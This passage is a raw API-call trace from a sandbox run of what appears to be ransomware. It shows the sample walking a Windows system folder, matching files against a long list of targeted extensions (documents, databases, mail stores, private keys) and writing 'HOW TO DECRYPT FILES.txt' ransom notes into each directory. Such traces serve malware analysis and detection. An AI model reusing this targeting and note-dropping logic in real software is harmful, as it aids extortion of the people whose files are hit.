(lpString="*.qbj") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.ofx") returned 0 [0143.783] lstrlenA (lpString="*.ofx") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qif") returned 0 [0143.783] lstrlenA (lpString="*.qif") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.mye") returned 0 [0143.783] lstrlenA (lpString="*.mye") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.mbox") returned 0 [0143.783] lstrlenA (lpString="*.mbox") returned 6 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.eml") returned 0 [0143.783] lstrlenA (lpString="*.eml") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.pst") returned 0 [0143.783] lstrlenA (lpString="*.pst") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.ost") returned 0 [0143.783] lstrlenA (lpString="*.ost") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.idx") returned 0 [0143.784] lstrlenA (lpString="*.idx") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.dbx") returned 0 [0143.784] lstrlenA (lpString="*.dbx") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.sql") returned 0 [0143.784] lstrlenA (lpString="*.sql") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.mdb") returned 0 [0143.784] lstrlenA (lpString="*.mdb") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.fdb") returned 0 [0143.784] lstrlenA (lpString="*.fdb") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.wab") returned 0 [0143.784] lstrlenA (lpString="*.wab") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.dat") returned 0 [0143.784] lstrlenA (lpString="*.dat") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.txt") returned 0 [0143.784] lstrlenA (lpString="*.txt") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.jpeg") returned 0 [0143.784] lstrlenA (lpString="*.jpeg") returned 6 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.jpg") returned 0 [0143.784] lstrlenA (lpString="*.jpg") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.png") returned 0 [0143.784] lstrlenA (lpString="*.png") returned 5 [0143.784] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.php") returned 0 [0143.785] lstrlenA (lpString="*.php") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.cs") returned 0 [0143.785] lstrlenA (lpString="*.cs") returned 4 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.cpp") returned 0 [0143.785] lstrlenA (lpString="*.cpp") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.rar") returned 0 [0143.785] lstrlenA (lpString="*.rar") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.zip") returned 0 [0143.785] lstrlenA (lpString="*.zip") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.html") returned 0 [0143.785] lstrlenA (lpString="*.html") returned 6 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.htm") returned 0 [0143.785] lstrlenA (lpString="*.htm") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.xlsx") returned 0 [0143.785] lstrlenA (lpString="*.xlsx") returned 6 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.xls") returned 0 [0143.785] lstrlenA (lpString="*.xls") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.mp4") returned 0 [0143.785] lstrlenA (lpString="*.mp4") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.ppt") returned 0 [0143.785] lstrlenA (lpString="*.ppt") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.pptx") returned 0 [0143.785] lstrlenA (lpString="*.pptx") returned 6 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.doc") returned 0 [0143.785] lstrlenA (lpString="*.doc") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.dot") returned 0 [0143.785] lstrlenA (lpString="*.dot") returned 5 [0143.785] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.docx") returned 0 [0143.786] lstrlenA (lpString="*.docx") returned 6 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.7z") returned 0 [0143.786] lstrlenA (lpString="*.7z") returned 4 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.tar") returned 0 [0143.786] lstrlenA (lpString="*.tar") returned 5 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.bz2") returned 0 [0143.786] lstrlenA (lpString="*.bz2") returned 5 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.gz") returned 0 [0143.786] lstrlenA (lpString="*.gz") returned 4 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.mkv") returned 0 [0143.786] lstrlenA (lpString="*.mkv") returned 5 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.eml") returned 0 [0143.786] lstrlenA (lpString="*.eml") returned 5 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.msg") returned 0 [0143.786] lstrlenA (lpString="*.msg") returned 5 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.edb") returned 0 [0143.786] lstrlenA (lpString="*.edb") returned 5 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.accdb") returned 0 [0143.786] lstrlenA (lpString="*.accdb") returned 7 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.odb") returned 0 [0143.786] lstrlenA (lpString="*.odb") returned 5 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.java") returned 0 [0143.786] lstrlenA (lpString="*.java") returned 6 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.asm") returned 0 [0143.786] lstrlenA (lpString="*.asm") returned 5 [0143.786] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.pfx") returned 0 [0143.787] lstrlenA (lpString="*.pfx") returned 5 [0143.787] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.pem") returned 0 [0143.787] lstrlenA (lpString="*.pem") returned 5 [0143.787] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.p12") returned 0 [0143.787] lstrlenA (lpString="*.p12") returned 5 [0143.787] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.gpg") returned 0 [0143.787] lstrlenA (lpString="*.gpg") returned 5 [0143.787] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.vsd") returned 0 [0143.787] lstrlenA (lpString="*.vsd") returned 5 [0143.788] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f05e3, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xcf59ac70, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0x4866a460, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb0054F.log", cAlternateFileName="")) returned 1 [0143.788] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0143.788] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edb0054F.log") returned -1 [0143.788] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edb0054F.log") returned 1 [0143.788] lstrcmpiA (lpString1="", lpString2="edb0054F.log") returned -1 [0143.788] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\edb0054E.log") returned="edb0054E.log" [0143.788] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\catroot2\\" | out: lpString1="C:\\Windows\\System32\\catroot2\\") returned="C:\\Windows\\System32\\catroot2\\" [0143.788] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\catroot2\\" | out: pszPath="C:\\Windows\\System32\\catroot2\\") returned="" [0143.788] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" [0143.788] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\how to decrypt files.txt")) returned 0x2020 [0143.788] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="edb0054F.log" | out: lpString1="C:\\Windows\\System32\\catroot2\\edb0054F.log") returned="C:\\Windows\\System32\\catroot2\\edb0054F.log" [0143.789] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86d4e25, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x86d4e25, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x86faf85, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0143.789] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0143.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edbres00001.jrs") returned -1 [0143.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edbres00001.jrs") returned 1 [0143.789] lstrcmpiA (lpString1="", lpString2="edbres00001.jrs") returned -1 [0143.789] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\edb0054F.log") returned="edb0054F.log" [0143.789] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\catroot2\\" | out: lpString1="C:\\Windows\\System32\\catroot2\\") returned="C:\\Windows\\System32\\catroot2\\" [0143.789] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\catroot2\\" | out: pszPath="C:\\Windows\\System32\\catroot2\\") returned="" [0143.789] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" [0143.789] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\how to decrypt files.txt")) returned 0x2020 [0143.789] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="edbres00001.jrs" | out: lpString1="C:\\Windows\\System32\\catroot2\\edbres00001.jrs") returned="C:\\Windows\\System32\\catroot2\\edbres00001.jrs" [0143.790] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87210e6, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x87210e6, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8747246, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0143.790] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0143.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edbres00002.jrs") returned -1 [0143.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edbres00002.jrs") returned 1 [0143.790] lstrcmpiA (lpString1="", lpString2="edbres00002.jrs") returned -1 [0143.790] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\edbres00001.jrs") returned="edbres00001.jrs" [0143.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\catroot2\\" | out: lpString1="C:\\Windows\\System32\\catroot2\\") returned="C:\\Windows\\System32\\catroot2\\" [0143.790] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\catroot2\\" | out: pszPath="C:\\Windows\\System32\\catroot2\\") returned="" [0143.790] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" [0143.790] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\how to decrypt files.txt")) returned 0x2020 [0143.790] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="edbres00002.jrs" | out: lpString1="C:\\Windows\\System32\\catroot2\\edbres00002.jrs") returned="C:\\Windows\\System32\\catroot2\\edbres00002.jrs" [0143.790] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76ceddac, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76ceddac, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76ceddac, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{127D0A1D-4EF2-11D1-8608-00C04FC295EE}", cAlternateFileName="{127D0~1")) returned 1 [0143.790] lstrcmpA (lpString1=".", lpString2="{127D0A1D-4EF2-11D1-8608-00C04FC295EE}") returned -1 [0143.791] lstrcmpA (lpString1="..", lpString2="{127D0A1D-4EF2-11D1-8608-00C04FC295EE}") returned -1 [0143.791] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\edbres00002.jrs") returned="edbres00002.jrs" [0143.791] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="{127D0A1D-4EF2-11D1-8608-00C04FC295EE}" | out: lpString1="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}") returned="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}" [0143.791] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76ceddac, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76ceddac, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76ceddac, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501552, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.791] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0143.791] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76ceddac, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76ceddac, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76ceddac, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0143.791] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0143.791] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0143.791] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76ceddac, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76ceddac, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xf21ac260, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x102000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="catdb", cAlternateFileName="")) returned 1 [0143.791] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0143.791] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="catdb") returned 1 [0143.791] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="catdb") returned 1 [0143.791] lstrcmpiA (lpString1="", lpString2="catdb") returned -1 [0143.791] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\*.*") returned="*.*" [0143.791] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\" | out: lpString1="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\") returned="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\" [0143.791] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\" | out: pszPath="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\") returned="" [0143.792] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\HOW TO DECRYPT FILES.txt" [0143.792] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\how to decrypt files.txt")) returned 0xffffffff [0143.792] CreateFileA (lpFileName="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0143.794] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0143.794] CloseHandle (hObject=0x8c) returned 1 [0143.794] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\", lpString2="catdb" | out: lpString1="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb") returned="C:\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" [0143.795] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76ceddac, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76ceddac, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xf21ac260, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x102000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="catdb", cAlternateFileName="")) returned 0 [0143.795] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0143.795] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84bfae1, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8851be8, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8851be8, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18, dwReserved1=0x505500, cFileName="{F750E6C3-38EE-11D1-85E5-00C04FC295EE}", cAlternateFileName="{F750E~1")) returned 1 [0143.795] lstrcmpA (lpString1=".", lpString2="{F750E6C3-38EE-11D1-85E5-00C04FC295EE}") returned -1 [0143.795] lstrcmpA (lpString1="..", lpString2="{F750E6C3-38EE-11D1-85E5-00C04FC295EE}") returned -1 [0143.795] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\*.*") returned="*.*" [0143.795] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="{F750E6C3-38EE-11D1-85E5-00C04FC295EE}" | out: lpString1="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}") returned="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}" [0143.795] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84bfae1, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8851be8, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8851be8, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.795] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0143.795] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84bfae1, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8851be8, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8851be8, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.796] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0143.796] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0143.796] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8851be8, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8851be8, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xf21d23c0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x1602000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="catdb", cAlternateFileName="")) returned 1 [0143.796] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0143.796] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="catdb") returned 1 [0143.796] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="catdb") returned 1 [0143.796] lstrcmpiA (lpString1="", lpString2="catdb") returned -1 [0143.797] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\*.*") returned="*.*" [0143.797] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\" | out: lpString1="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\") returned="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\" [0143.797] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\" | out: pszPath="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\") returned="" [0143.797] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\HOW TO DECRYPT FILES.txt" [0143.797] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\how to decrypt files.txt")) returned 0xffffffff [0143.797] CreateFileA (lpFileName="C:\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\HOW TO DECRYPT FILES.txt" 